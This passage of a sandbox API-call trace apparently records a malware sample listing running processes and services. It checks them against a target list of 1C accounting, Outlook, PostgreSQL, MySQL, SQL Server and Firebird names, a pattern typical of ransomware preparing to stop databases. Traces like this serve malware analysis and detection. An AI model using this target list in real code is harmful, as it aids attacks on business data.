lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.734] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.734] lstrlenW (lpString="System") returned 6 [0145.734] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0145.734] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0145.734] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.734] lstrlenW (lpString="smss.exe") returned 8 [0145.734] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0145.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0145.734] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0145.734] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0145.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0145.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0145.735] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0145.735] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.735] lstrlenW (lpString="csrss.exe") returned 9 [0145.735] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0145.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0145.735] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0145.735] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0145.735] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0145.735] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0145.735] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0145.735] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.735] lstrlenW (lpString="wininit.exe") returned 11 [0145.735] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0145.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0145.735] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0145.735] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0145.735] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0145.735] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0145.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0145.736] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.736] lstrlenW (lpString="csrss.exe") returned 9 [0145.736] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0145.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0145.736] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0145.736] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0145.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0145.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0145.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0145.736] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.736] lstrlenW (lpString="winlogon.exe") returned 12 [0145.736] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0145.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0145.736] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0145.736] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0145.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0145.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0145.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0145.737] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.737] lstrlenW (lpString="services.exe") returned 12 [0145.737] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0145.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0145.737] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.737] lstrlenW (lpString="lsass.exe") returned 9 [0145.737] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0145.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0145.737] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0145.737] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0145.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0145.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0145.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0145.738] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0145.738] lstrlenW (lpString="lsm.exe") returned 7 [0145.738] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0145.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0145.738] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0145.738] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0145.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0145.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0145.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0145.738] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.739] lstrlenW (lpString="svchost.exe") returned 11 [0145.739] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.739] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.739] lstrlenW (lpString="svchost.exe") returned 11 [0145.739] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.739] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.740] lstrlenW (lpString="svchost.exe") returned 11 [0145.740] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.740] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.740] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.740] lstrlenW (lpString="svchost.exe") returned 11 [0145.741] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.741] lstrlenW (lpString="svchost.exe") returned 11 [0145.741] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.741] lstrlenW (lpString="audiodg.exe") returned 11 [0145.741] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.742] lstrlenW (lpString="svchost.exe") returned 11 [0145.742] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0145.742] lstrlenW (lpString="userinit.exe") returned 12 [0145.742] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.742] lstrlenW (lpString="explorer.exe") returned 12 [0145.742] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.743] lstrlenW (lpString="dwm.exe") returned 7 [0145.743] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.743] lstrlenW (lpString="svchost.exe") returned 11 [0145.743] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0145.743] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0145.743] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.744] lstrlenW (lpString="spoolsv.exe") returned 11 [0145.744] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0145.744] lstrlenW (lpString="reader_sl.exe") returned 13 [0145.744] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.744] lstrlenW (lpString="svchost.exe") returned 11 [0145.744] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0145.745] lstrlenW (lpString="taskhost.exe") returned 12 [0145.745] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0145.745] CloseHandle (hObject=0x384) returned 1 [0145.745] Sleep (dwMilliseconds=0x1f4) [0146.319] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b500 [0146.605] EnumServicesStatusExW (in: hSCManager=0x428b500, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0146.605] GetLastError () returned 0xea [0146.605] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0146.605] EnumServicesStatusExW (in: hSCManager=0x428b500, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0146.665] CloseServiceHandle (hSCObject=0x428b500) returned 1 [0146.665] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0146.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0146.669] lstrlenW (lpString="AudioSrv") returned 8 [0146.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0146.669] lstrlenW (lpString="BFE") returned 3 [0146.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0146.669] lstrlenW (lpString="CryptSvc") returned 8 [0146.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0146.669] lstrlenW (lpString="CscService") returned 10 [0146.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0146.669] lstrlenW (lpString="DcomLaunch") returned 10 [0146.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.669] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0146.669] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0146.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0146.669] lstrlenW (lpString="Dhcp") returned 4 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0146.670] lstrlenW (lpString="Dnscache") returned 8 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0146.670] lstrlenW (lpString="DPS") returned 3 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0146.670] lstrlenW (lpString="eventlog") returned 8 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0146.670] lstrlenW (lpString="EventSystem") returned 11 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0146.670] lstrlenW (lpString="gpsvc") returned 5 [0146.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0146.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0146.670] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0146.670] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0146.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0146.670] lstrlenW (lpString="LanmanWorkstation") returned 17 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0146.671] lstrlenW (lpString="lmhosts") returned 7 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0146.671] lstrlenW (lpString="MMCSS") returned 5 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0146.671] lstrlenW (lpString="MpsSvc") returned 6 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0146.671] lstrlenW (lpString="NlaSvc") returned 6 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.671] lstrlenW (lpString="nsi") returned 3 [0146.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.671] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.671] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.672] lstrlenW (lpString="PcaSvc") returned 6 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.672] lstrlenW 